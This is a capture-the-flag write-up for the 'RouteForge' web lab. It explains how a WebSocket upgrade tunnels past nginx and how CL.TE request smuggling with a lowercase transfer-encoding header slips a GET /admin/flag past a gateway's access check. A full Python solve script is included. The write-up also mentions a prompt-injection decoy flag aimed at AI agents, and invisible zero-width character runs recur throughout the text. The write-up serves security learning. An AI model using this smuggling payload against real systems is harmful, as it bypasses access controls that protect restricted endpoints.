← Back to Writeups
CUSTOMMediumWeb

Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing

XESXOR9/10/20268 min read
#web#custom#medium#case_sensitive_header_bypass#cl_te_smuggling#nginx_bypass_via_websocket#websocket_upgrade_tunnel

Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-21 | Status: Solved Techniques: case_sensitive_header_bypass, cl_te_smuggling, nginx_bypass_via_websocket, websocket_upgrade_tunnel

Summary

Task: Enterprise API gateway (nginx + custom proxy + Express) blocks /admin/* via path-based ACL; proxy has case-sensitive Transfer-Encoding header parsing. Solution: WebSocket upgrade to bypass nginx's strict CL+TE rejection, then CL.TE smuggling with lowercase transfer-encoding header — gateway reads Content-Length (ignores lowercase TE), Express reads chunked (case-insensitive TE), smuggled GET /admin/flag bypasses ACL.

Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing — HackAdvisor

Description

RouteForge is an enterprise API gateway platform built by ForgeStack Technologies. It provides centralized routing, rate limiting, and access control for backend microservices. The platform exposes a public API documentation portal, route management, and analytics dashboards. The gateway uses a custom reverse proxy layer to enforce path-based access control, blocking requests to administrative endpoints before they reach the backend application server. The goal is to investigate how the gateway processes incoming HTTP requests and find a way to bypass its security controls to access restricted resources. Pay close attention to how the proxy handles HTTP headers — particularly edge cases in the HTTP/1.1 specification around transfer encoding. The proxy and backend may not agree on how to parse certain headers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A three-layer web stack (nginx → custom RouteForge gateway proxy → Express.js backend) blocks access to /admin/* endpoints via the gateway's path-based ACL. The goal is to smuggle a request to /admin/flag past the gateway by exploiting differences in how the proxy and backend parse HTTP headers — specifically the Transfer-Encoding header.

Analysis

Architecture (3 hops)

  1. nginx/1.25.5 — TLS termination, reverse proxy, WebSocket support. Extremely strict HTTP parser: rejects CL+TE combinations, duplicate TE headers, TE obfuscation (obs-fold, spaces, tabs, non-chunked values), and malformed chunk framing. Validates ALL requests on a connection (including pipelined ones). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. RouteForge Gateway v2.4.1 (X-Gateway: RouteForge/2.4.1) — Custom proxy that enforces path-based ACL. Blocks any request where the path starts with /admin (case-insensitive, percent-aware). Returns GW-403 JSON response for blocked paths.

  3. Express.js backend (X-Powered-By: Express) — Serves actual content. Uses Node.js http module (llhttp parser) which is case-insensitive for header names per HTTP/1.1 spec.

Key Vulnerability

The gateway proxy has a case-sensitive header name parser:

  • It only recognizes Transfer-Encoding (exact canonical case) as the transfer encoding header
  • Lowercase transfer-encoding is treated as an unknown header → gateway falls back to Content-Length ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Express.js (llhttp) is case-insensitive per RFC 7230:

  • It recognizes transfer-encoding, Transfer-Encoding, TRANSFER-ENCODING, etc.
  • When both CL and TE are present, llhttp follows RFC precedence: TE wins

The nginx Problem

nginx is too strict to allow CL+TE through directly:

  • Any request with both Content-Length and Transfer-Encoding → 400 Bad Request
  • Duplicate TE headers → 400 Bad Request
  • Non-standard TE values → 501 Not Implemented
  • TE header obfuscation (spaces, tabs, obs-fold) → 400 Bad Request ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This means the CL.TE desync cannot be sent through nginx's normal HTTP pipeline.

The WebSocket Bypass

nginx supports WebSocket upgrades via proxy_pass with Upgrade and Connection headers. After a successful 101 Switching Protocols response, nginx creates a raw TCP tunnel — it stops parsing HTTP and forwards bytes bidirectionally. This allows sending arbitrary HTTP requests (including CL+TE combinations) directly to the gateway, bypassing nginx's strict validation.

Decoy Flag

The HTML source on multiple pages contains a prompt-injection trap with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated tools and AI agents. This must be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

Login with provided credentials (user@test.com / password123) to obtain a connect.sid session cookie. Authentication is required to access the WebSocket endpoint and the /admin/flag resource.

Step 2: WebSocket Upgrade (bypass nginx)

Send a WebSocket upgrade request to nginx. After receiving 101 Switching Protocols, the connection becomes a raw TCP tunnel. All subsequent bytes bypass nginx's HTTP parser and go directly to the RouteForge gateway.

GET / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <base64-key>
Sec-WebSocket-Version: 13

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: CL.TE Smuggling via Case-Sensitive TE Header

Through the WebSocket tunnel, send a crafted request with both Content-Length and lowercase transfer-encoding: chunked:

POST / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Content-Type: application/x-www-form-urlencoded
Content-Length: <total_body_length>
transfer-encoding: chunked

1\r\n
X\r\n
0\r\n
\r\n
GET /admin/flag HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>

How the desync works:

ComponentSeesBehavior
GatewayContent-Length: N only (ignores lowercase transfer-encoding)Reads N bytes as body → treats entire payload as one request to / (allowed path)
Expresstransfer-encoding: chunked (case-insensitive, TE takes precedence over CL)Reads chunked body → stops at 0\r\n\r\n → remaining bytes become a new request: GET /admin/flag
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The smuggled GET /admin/flag reaches Express directly without passing through the gateway's ACL check, and Express returns the flag.

Full Solve Script

python
#!/usr/bin/env python3
"""
Solve script for Lab 220 — RouteForge — TE.TE HTTP Request Smuggling
via Proxy Header Parsing

Attack: WebSocket upgrade + CL.TE smuggling via case-sensitive TE header parsing

The gateway proxy only recognizes "Transfer-Encoding" (exact case).
Express.js recognizes "transfer-encoding" (case-insensitive).
WebSocket upgrade bypasses nginx's CL+TE rejection.
"""
import socket
import ssl
import base64
import sys
import time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "fbc853e8-4fe9-4cc9-8e5b-43a599e5b1f7.labs.hackadvisor.io"
TARGET_PORT = 443

# Step 1: Login to get session cookie
print("[*] Logging in...")
ctx = ssl.create_default_context()
sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST)

login_body = b"email=user%40test.com&password=password123"
login_req = (
    b"POST /login HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(login_body)).encode() + b"\r\n"
    b"Connection: close\r\n"
    b"\r\n"
) + login_body
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ssock.send(login_req)
ssock.settimeout(5)
resp = b""
try:
    while True:
        chunk = ssock.recv(8192)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
ssock.close()

# Extract cookie
cookie = b""
for line in resp.split(b"\r\n"):
    if b"connect.sid=" in line:
        start = line.find(b"connect.sid=")
        end = line.find(b";", start)
        cookie = line[start:end]
        break

print(f"[+] Cookie: {cookie[:50].decode()}...")

# Step 2: WebSocket upgrade to bypass nginx's strict HTTP validation
print("[*] Upgrading to WebSocket...")
sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ws_key = base64.b64encode(b"test1234test1234").decode()
upgrade = (
    b"GET / HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Key: " + ws_key.encode() + b"\r\n"
    b"Sec-WebSocket-Version: 13\r\n"
    b"\r\n"
)

ssock.send(upgrade)
ssock.settimeout(5)
resp = b""
try:
    while b"\r\n\r\n" not in resp:
        chunk = ssock.recv(4096)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if b"101" not in resp:
    print("[-] WebSocket upgrade failed!")
    sys.exit(1)

print("[+] WebSocket upgrade successful — raw TCP tunnel established")

# Step 3: CL.TE smuggling via case-sensitive TE header
print("[*] Sending CL.TE smuggling payload...")

# Smuggled request — bypasses gateway ACL entirely
smuggled = (
    b"GET /admin/flag HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"\r\n"
)

# Chunked body: Express reads this via TE, stops at 0\r\n\r\n
chunked_body = b"1\r\nX\r\n0\r\n\r\n"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Total body = chunked_body + smuggled
# Gateway reads ALL of this via Content-Length (one request)
# Express reads only chunked_body via TE, then treats smuggled as new request
total = chunked_body + smuggled
cl = len(total)

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(cl).encode() + b"\r\n"
    b"transfer-encoding: chunked\r\n"  # lowercase! Gateway ignores, Express honors
    b"\r\n"
) + total
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(0.5)
ssock.send(payload)
ssock.settimeout(15)
resp = b""
try:
    while True:
        chunk = ssock.recv(8192)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
ssock.close()

# Step 4: Extract flag
print(f"[*] Response ({len(resp)} bytes)")

if b"FLAG{" in resp:
    idx = resp.find(b"FLAG{")
    end = resp.find(b"}", idx) + 1
    flag = resp[idx:end].decode()
    if "d3c0y" not in flag:
        print(f"[+] FLAG: {flag}")
    else:
        print("[-] Only found decoy flag")
else:
    print("[-] No flag found in response")
    print(resp.decode(errors='replace')[:500])

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches (Extensive Exploration)

  1. TE header obfuscation through nginx (~65 variants) — nginx rejects ALL: duplicate TE headers, CL+TE combos, obs-fold, spaces/tabs in header names, non-chunked TE values (501), comma-separated values. Completely airtight.
  2. Chunk framing desync — nginx validates chunk sizes, strips chunk-extensions and trailers, normalizes bare-LF to CRLF. No chunk-level ambiguity survives nginx.
  3. Path normalization ACL bypass — Forms like /%61dmin/flag, //admin/flag, /./admin/flag bypass gateway ACL but Express returns 404 (doesn't percent-decode literal path segments). Zero overlap between gateway-bypass and Express-match path forms.
  4. Simple pipelining — Gateway re-inspects every pipelined request's path and blocks /admin/* with 403.
  5. Request-line tokenizer tricks — Gateway is lenient (accepts VT, FF, NBSP separators) but llhttp is strict (rejects them with 400). Opposite of what's needed.
  6. HTTP/2 smuggling — Not supported; nginx only negotiates HTTP/1.1.
  7. Nested request smuggling (2-level) — Gateway absorbs /admin/flag as inner request's CL body (no ACL check), but Express also absorbs it (both agree on CL). Adding TE to inner request triggers nginx/llhttp CL+TE rejection.
  8. URL-override headers — X-Original-URL, X-Rewrite-URL, X-Forwarded-Path not honored by any layer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍